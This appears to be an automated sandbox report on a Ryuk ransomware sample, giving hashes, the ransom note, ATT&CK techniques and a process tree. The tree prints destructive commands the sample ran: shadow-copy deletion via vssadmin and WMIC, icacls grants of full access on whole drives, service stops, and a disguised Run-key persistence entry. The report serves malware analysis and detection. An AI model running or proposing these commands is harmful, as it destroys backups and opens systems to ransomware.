ryuk | 7465a3de8afaacba99d8bf27d06b6e8702c2baae28b95b3a68749e45bd7e3030

Analysis

max time kernel
174s
max time network
80s
platform
windows7_x64
resource
win7-en-20211208
submitted
20-02-2022 05:43

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General

Target

7465a3de8afaacba99d8bf27d06b6e8702c2baae28b95b3a68749e45bd7e3030.exe
Size

189KB
MD5

090826c3c34fb53a639f1d2919e1b44c
SHA1

ab355fed7323cb1dfaf1e32833acd77ffa23c287
SHA256

7465a3de8afaacba99d8bf27d06b6e8702c2baae28b95b3a68749e45bd7e3030
SHA512

d0ac51019f6d2652ae285b99fb68cbe5e3f2acf9cfa30b9d26d95e9692a5562fb8e5f5656afb55c71d191617be4336dd9b4dd7dad8b5f9107f7c9fd4789a7720

Score

10^/10

ryuk discovery persistence ransomware

Malware Config

Extracted

Path

C:\Users\Admin\AppData\Local\Temp\RyukReadMe.html

Family

ryuk

Ransom Note

<html><body><p style="font-weight:bold;font-size:125%;top:0;left:0;"> [email protected] <br> </p><p style="position:absolute;bottom:0;right:1%;font-weight:bold;font-size:170%">balance of shadow universe</p><div style="font-size: 550%;font-weight:bold;width:50%;height:50%;overflow:auto;margin:auto;position:absolute;top:35%;left:40%;">Ryuk</div></body></html��

Emails

[email protected]

Extracted

Path

C:\RyukReadMe.html

Family

ryuk

Ransom Note

[email protected] balance of shadow universe Ryuk

Emails

[email protected]

Signatures

Ryuk
Ransomware distributed via existing botnets, often Trickbot or Emotet.
ransomware ryuk
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Executes dropped EXE 1 IoCs

pid	Process
676	IJecnaS.exe

Loads dropped DLL 2 IoCs

pid	Process
1156	7465a3de8afaacba99d8bf27d06b6e8702c2baae28b95b3a68749e45bd7e3030.exe
1156	7465a3de8afaacba99d8bf27d06b6e8702c2baae28b95b3a68749e45bd7e3030.exe

Modifies file permissions 1 TTPs 4 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1096	icacls.exe
1104	icacls.exe
1100	icacls.exe
1808	icacls.exe

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Windows\CurrentVersion\Run\svchos = "C:\\Users\\Admin\\AppData\\Local\\Temp\\7465a3de8afaacba99d8bf27d06b6e8702c2baae28b95b3a68749e45bd7e3030.exe"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Windows\CurrentVersion\Run\svchos = "C:\\Users\\Admin\\AppData\\Local\\Temp\\IJecnaS.exe"	reg.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Interacts with shadow copies 2 TTPs 2 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

pid	Process
1288	vssadmin.exe
1672	vssadmin.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
1156	7465a3de8afaacba99d8bf27d06b6e8702c2baae28b95b3a68749e45bd7e3030.exe
1156	7465a3de8afaacba99d8bf27d06b6e8702c2baae28b95b3a68749e45bd7e3030.exe
1156	7465a3de8afaacba99d8bf27d06b6e8702c2baae28b95b3a68749e45bd7e3030.exe
676	IJecnaS.exe
1156	7465a3de8afaacba99d8bf27d06b6e8702c2baae28b95b3a68749e45bd7e3030.exe
676	IJecnaS.exe
1156	7465a3de8afaacba99d8bf27d06b6e8702c2baae28b95b3a68749e45bd7e3030.exe
1156	7465a3de8afaacba99d8bf27d06b6e8702c2baae28b95b3a68749e45bd7e3030.exe
1156	7465a3de8afaacba99d8bf27d06b6e8702c2baae28b95b3a68749e45bd7e3030.exe
676	IJecnaS.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1156	7465a3de8afaacba99d8bf27d06b6e8702c2baae28b95b3a68749e45bd7e3030.exe
Token: SeBackupPrivilege	676	IJecnaS.exe
Token: SeBackupPrivilege	1156	7465a3de8afaacba99d8bf27d06b6e8702c2baae28b95b3a68749e45bd7e3030.exe
Token: SeIncreaseQuotaPrivilege	1776	WMIC.exe
Token: SeSecurityPrivilege	1776	WMIC.exe
Token: SeTakeOwnershipPrivilege	1776	WMIC.exe
Token: SeLoadDriverPrivilege	1776	WMIC.exe
Token: SeSystemProfilePrivilege	1776	WMIC.exe
Token: SeSystemtimePrivilege	1776	WMIC.exe
Token: SeProfSingleProcessPrivilege	1776	WMIC.exe
Token: SeIncBasePriorityPrivilege	1776	WMIC.exe
Token: SeCreatePagefilePrivilege	1776	WMIC.exe
Token: SeBackupPrivilege	1776	WMIC.exe
Token: SeRestorePrivilege	1776	WMIC.exe
Token: SeShutdownPrivilege	1776	WMIC.exe
Token: SeDebugPrivilege	1776	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1776	WMIC.exe
Token: SeRemoteShutdownPrivilege	1776	WMIC.exe
Token: SeUndockPrivilege	1776	WMIC.exe
Token: SeManageVolumePrivilege	1776	WMIC.exe
Token: 33	1776	WMIC.exe
Token: 34	1776	WMIC.exe
Token: 35	1776	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1396	WMIC.exe
Token: SeSecurityPrivilege	1396	WMIC.exe
Token: SeTakeOwnershipPrivilege	1396	WMIC.exe
Token: SeLoadDriverPrivilege	1396	WMIC.exe
Token: SeSystemProfilePrivilege	1396	WMIC.exe
Token: SeSystemtimePrivilege	1396	WMIC.exe
Token: SeProfSingleProcessPrivilege	1396	WMIC.exe
Token: SeIncBasePriorityPrivilege	1396	WMIC.exe
Token: SeCreatePagefilePrivilege	1396	WMIC.exe
Token: SeBackupPrivilege	1396	WMIC.exe
Token: SeRestorePrivilege	1396	WMIC.exe
Token: SeShutdownPrivilege	1396	WMIC.exe
Token: SeDebugPrivilege	1396	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1396	WMIC.exe
Token: SeRemoteShutdownPrivilege	1396	WMIC.exe
Token: SeUndockPrivilege	1396	WMIC.exe
Token: SeManageVolumePrivilege	1396	WMIC.exe
Token: 33	1396	WMIC.exe
Token: 34	1396	WMIC.exe
Token: 35	1396	WMIC.exe
Token: SeBackupPrivilege	2212	vssvc.exe
Token: SeRestorePrivilege	2212	vssvc.exe
Token: SeAuditPrivilege	2212	vssvc.exe
Token: SeIncreaseQuotaPrivilege	1396	WMIC.exe
Token: SeSecurityPrivilege	1396	WMIC.exe
Token: SeTakeOwnershipPrivilege	1396	WMIC.exe
Token: SeLoadDriverPrivilege	1396	WMIC.exe
Token: SeSystemProfilePrivilege	1396	WMIC.exe
Token: SeSystemtimePrivilege	1396	WMIC.exe
Token: SeProfSingleProcessPrivilege	1396	WMIC.exe
Token: SeIncBasePriorityPrivilege	1396	WMIC.exe
Token: SeCreatePagefilePrivilege	1396	WMIC.exe
Token: SeBackupPrivilege	1396	WMIC.exe
Token: SeRestorePrivilege	1396	WMIC.exe
Token: SeShutdownPrivilege	1396	WMIC.exe
Token: SeDebugPrivilege	1396	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1396	WMIC.exe
Token: SeRemoteShutdownPrivilege	1396	WMIC.exe
Token: SeUndockPrivilege	1396	WMIC.exe
Token: SeManageVolumePrivilege	1396	WMIC.exe
Token: 33	1396	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1156 wrote to memory of 676	1156	7465a3de8afaacba99d8bf27d06b6e8702c2baae28b95b3a68749e45bd7e3030.exe	27
PID 1156 wrote to memory of 676	1156	7465a3de8afaacba99d8bf27d06b6e8702c2baae28b95b3a68749e45bd7e3030.exe	27
PID 1156 wrote to memory of 676	1156	7465a3de8afaacba99d8bf27d06b6e8702c2baae28b95b3a68749e45bd7e3030.exe	27
PID 1156 wrote to memory of 676	1156	7465a3de8afaacba99d8bf27d06b6e8702c2baae28b95b3a68749e45bd7e3030.exe	27
PID 1156 wrote to memory of 1144	1156	7465a3de8afaacba99d8bf27d06b6e8702c2baae28b95b3a68749e45bd7e3030.exe	11
PID 1156 wrote to memory of 1236	1156	7465a3de8afaacba99d8bf27d06b6e8702c2baae28b95b3a68749e45bd7e3030.exe	10
PID 1156 wrote to memory of 1696	1156	7465a3de8afaacba99d8bf27d06b6e8702c2baae28b95b3a68749e45bd7e3030.exe	28
PID 1156 wrote to memory of 1696	1156	7465a3de8afaacba99d8bf27d06b6e8702c2baae28b95b3a68749e45bd7e3030.exe	28
PID 1156 wrote to memory of 1696	1156	7465a3de8afaacba99d8bf27d06b6e8702c2baae28b95b3a68749e45bd7e3030.exe	28
PID 1156 wrote to memory of 1696	1156	7465a3de8afaacba99d8bf27d06b6e8702c2baae28b95b3a68749e45bd7e3030.exe	28
PID 1156 wrote to memory of 852	1156	7465a3de8afaacba99d8bf27d06b6e8702c2baae28b95b3a68749e45bd7e3030.exe	30
PID 1156 wrote to memory of 852	1156	7465a3de8afaacba99d8bf27d06b6e8702c2baae28b95b3a68749e45bd7e3030.exe	30
PID 1156 wrote to memory of 852	1156	7465a3de8afaacba99d8bf27d06b6e8702c2baae28b95b3a68749e45bd7e3030.exe	30
PID 1156 wrote to memory of 852	1156	7465a3de8afaacba99d8bf27d06b6e8702c2baae28b95b3a68749e45bd7e3030.exe	30
PID 852 wrote to memory of 876	852	net.exe	32
PID 852 wrote to memory of 876	852	net.exe	32
PID 852 wrote to memory of 876	852	net.exe	32
PID 852 wrote to memory of 876	852	net.exe	32
PID 1696 wrote to memory of 1508	1696	net.exe	33
PID 1696 wrote to memory of 1508	1696	net.exe	33
PID 1696 wrote to memory of 1508	1696	net.exe	33
PID 1696 wrote to memory of 1508	1696	net.exe	33
PID 1156 wrote to memory of 1100	1156	7465a3de8afaacba99d8bf27d06b6e8702c2baae28b95b3a68749e45bd7e3030.exe	36
PID 1156 wrote to memory of 1100	1156	7465a3de8afaacba99d8bf27d06b6e8702c2baae28b95b3a68749e45bd7e3030.exe	36
PID 1156 wrote to memory of 1100	1156	7465a3de8afaacba99d8bf27d06b6e8702c2baae28b95b3a68749e45bd7e3030.exe	36
PID 1156 wrote to memory of 1100	1156	7465a3de8afaacba99d8bf27d06b6e8702c2baae28b95b3a68749e45bd7e3030.exe	36
PID 676 wrote to memory of 1096	676	IJecnaS.exe	34
PID 676 wrote to memory of 1096	676	IJecnaS.exe	34
PID 676 wrote to memory of 1096	676	IJecnaS.exe	34
PID 676 wrote to memory of 1096	676	IJecnaS.exe	34
PID 1156 wrote to memory of 1104	1156	7465a3de8afaacba99d8bf27d06b6e8702c2baae28b95b3a68749e45bd7e3030.exe	35
PID 1156 wrote to memory of 1104	1156	7465a3de8afaacba99d8bf27d06b6e8702c2baae28b95b3a68749e45bd7e3030.exe	35
PID 1156 wrote to memory of 1104	1156	7465a3de8afaacba99d8bf27d06b6e8702c2baae28b95b3a68749e45bd7e3030.exe	35
PID 1156 wrote to memory of 1104	1156	7465a3de8afaacba99d8bf27d06b6e8702c2baae28b95b3a68749e45bd7e3030.exe	35
PID 676 wrote to memory of 1808	676	IJecnaS.exe	41
PID 676 wrote to memory of 1808	676	IJecnaS.exe	41
PID 676 wrote to memory of 1808	676	IJecnaS.exe	41
PID 676 wrote to memory of 1808	676	IJecnaS.exe	41
PID 676 wrote to memory of 1404	676	IJecnaS.exe	42
PID 676 wrote to memory of 1404	676	IJecnaS.exe	42
PID 676 wrote to memory of 1404	676	IJecnaS.exe	42
PID 676 wrote to memory of 1404	676	IJecnaS.exe	42
PID 1156 wrote to memory of 1980	1156	7465a3de8afaacba99d8bf27d06b6e8702c2baae28b95b3a68749e45bd7e3030.exe	43
PID 1156 wrote to memory of 1980	1156	7465a3de8afaacba99d8bf27d06b6e8702c2baae28b95b3a68749e45bd7e3030.exe	43
PID 1156 wrote to memory of 1980	1156	7465a3de8afaacba99d8bf27d06b6e8702c2baae28b95b3a68749e45bd7e3030.exe	43
PID 1156 wrote to memory of 1980	1156	7465a3de8afaacba99d8bf27d06b6e8702c2baae28b95b3a68749e45bd7e3030.exe	43
PID 676 wrote to memory of 1672	676	IJecnaS.exe	47
PID 676 wrote to memory of 1672	676	IJecnaS.exe	47
PID 676 wrote to memory of 1672	676	IJecnaS.exe	47
PID 676 wrote to memory of 1672	676	IJecnaS.exe	47
PID 1156 wrote to memory of 1288	1156	7465a3de8afaacba99d8bf27d06b6e8702c2baae28b95b3a68749e45bd7e3030.exe	45
PID 1156 wrote to memory of 1288	1156	7465a3de8afaacba99d8bf27d06b6e8702c2baae28b95b3a68749e45bd7e3030.exe	45
PID 1156 wrote to memory of 1288	1156	7465a3de8afaacba99d8bf27d06b6e8702c2baae28b95b3a68749e45bd7e3030.exe	45
PID 1156 wrote to memory of 1288	1156	7465a3de8afaacba99d8bf27d06b6e8702c2baae28b95b3a68749e45bd7e3030.exe	45
PID 1156 wrote to memory of 1216	1156	7465a3de8afaacba99d8bf27d06b6e8702c2baae28b95b3a68749e45bd7e3030.exe	49
PID 1156 wrote to memory of 1216	1156	7465a3de8afaacba99d8bf27d06b6e8702c2baae28b95b3a68749e45bd7e3030.exe	49
PID 1156 wrote to memory of 1216	1156	7465a3de8afaacba99d8bf27d06b6e8702c2baae28b95b3a68749e45bd7e3030.exe	49
PID 1156 wrote to memory of 1216	1156	7465a3de8afaacba99d8bf27d06b6e8702c2baae28b95b3a68749e45bd7e3030.exe	49
PID 1216 wrote to memory of 556	1216	net.exe	51
PID 1216 wrote to memory of 556	1216	net.exe	51
PID 1216 wrote to memory of 556	1216	net.exe	51
PID 1216 wrote to memory of 556	1216	net.exe	51
PID 1156 wrote to memory of 1828	1156	7465a3de8afaacba99d8bf27d06b6e8702c2baae28b95b3a68749e45bd7e3030.exe	53
PID 1156 wrote to memory of 1828	1156	7465a3de8afaacba99d8bf27d06b6e8702c2baae28b95b3a68749e45bd7e3030.exe	53

C:\Windows\system32\Dwm.exe
"C:\Windows\system32\Dwm.exe"
1⤵
PID:1236

C:\Windows\system32\taskhost.exe
"taskhost.exe"
1⤵
PID:1144

C:\Users\Admin\AppData\Local\Temp\7465a3de8afaacba99d8bf27d06b6e8702c2baae28b95b3a68749e45bd7e3030.exe
"C:\Users\Admin\AppData\Local\Temp\7465a3de8afaacba99d8bf27d06b6e8702c2baae28b95b3a68749e45bd7e3030.exe"
1⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1156
- C:\Users\Admin\AppData\Local\Temp\IJecnaS.exe
  "C:\Users\Admin\AppData\Local\Temp\IJecnaS.exe" 8 LAN
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:676
- - C:\Windows\SysWOW64\icacls.exe
    icacls "C:\*" /grant Everyone:F /T /C /Q
    3⤵
    - Modifies file permissions
    PID:1096
- - C:\Windows\SysWOW64\icacls.exe
    icacls "D:\*" /grant Everyone:F /T /C /Q
    3⤵
    - Modifies file permissions
    PID:1808
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c "WMIC.exe shadowcopy delet"
    3⤵
    PID:1404
  - - C:\Windows\SysWOW64\Wbem\WMIC.exe
      WMIC.exe shadowcopy delet
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1776
- - C:\Windows\SysWOW64\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1672
- - C:\Windows\SysWOW64\net.exe
    "C:\Windows\System32\net.exe" stop "samss" /y
    3⤵
    PID:1708
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "samss" /y
      4⤵
      PID:932
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C REG ADD "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "svchos" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\IJecnaS.exe" /f /reg:64
    3⤵
    PID:9628
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "svchos" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\IJecnaS.exe" /f /reg:64
      4⤵
      Adds Run key to start application
      PID:9752
- - C:\Windows\SysWOW64\net.exe
    "C:\Windows\System32\net.exe" stop "samss" /y
    3⤵
    PID:9668
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "samss" /y
      4⤵
      PID:9736
- - C:\Windows\SysWOW64\net.exe
    "C:\Windows\System32\net.exe" stop "samss" /y
    3⤵
    PID:26044
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "samss" /y
      4⤵
      PID:26252
- C:\Windows\SysWOW64\net.exe
  "C:\Windows\System32\net.exe" stop "audioendpointbuilder" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1696
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "audioendpointbuilder" /y
    3⤵
    PID:1508
- C:\Windows\SysWOW64\net.exe
  "C:\Windows\System32\net.exe" stop "samss" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:852
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "samss" /y
    3⤵
    PID:876
- C:\Windows\SysWOW64\icacls.exe
  icacls "D:\*" /grant Everyone:F /T /C /Q
  2⤵
  - Modifies file permissions
  PID:1104
- C:\Windows\SysWOW64\icacls.exe
  icacls "C:\*" /grant Everyone:F /T /C /Q
  2⤵
  - Modifies file permissions
  PID:1100
- C:\Windows\SysWOW64\cmd.exe
  cmd /c "WMIC.exe shadowcopy delet"
  2⤵
  PID:1980
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    WMIC.exe shadowcopy delet
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1396
- C:\Windows\SysWOW64\vssadmin.exe
  vssadmin.exe Delete Shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:1288
- C:\Windows\SysWOW64\net.exe
  "C:\Windows\System32\net.exe" stop "samss" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1216
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "samss" /y
    3⤵
    PID:556
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C REG ADD "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "svchos" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\7465a3de8afaacba99d8bf27d06b6e8702c2baae28b95b3a68749e45bd7e3030.exe" /f /reg:64
  2⤵
  PID:1828
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "svchos" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\7465a3de8afaacba99d8bf27d06b6e8702c2baae28b95b3a68749e45bd7e3030.exe" /f /reg:64
    3⤵
    - Adds Run key to start application
    PID:1592
- C:\Windows\SysWOW64\net.exe
  "C:\Windows\System32\net.exe" stop "samss" /y
  2⤵
  PID:9620
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "samss" /y
    3⤵
    PID:9744
- C:\Windows\SysWOW64\net.exe
  "C:\Windows\System32\net.exe" stop "samss" /y
  2⤵
  PID:9644
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "samss" /y
    3⤵
    PID:9728
- C:\Windows\SysWOW64\net.exe
  "C:\Windows\System32\net.exe" stop "samss" /y
  2⤵
  PID:25776
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "samss" /y
    3⤵
    PID:26300
- C:\Windows\SysWOW64\net.exe
  "C:\Windows\System32\net.exe" stop "samss" /y
  2⤵
  PID:25688
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "samss" /y
    3⤵
    PID:26336

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2212

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File Deletion

T1107

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

memory/1144-59-0x0000000030000000-0x000000003016F000-memory.dmp

Filesize
1.4MB

Download
memory/1156-54-0x00000000766D1000-0x00000000766D3000-memory.dmp

Filesize
8KB

Download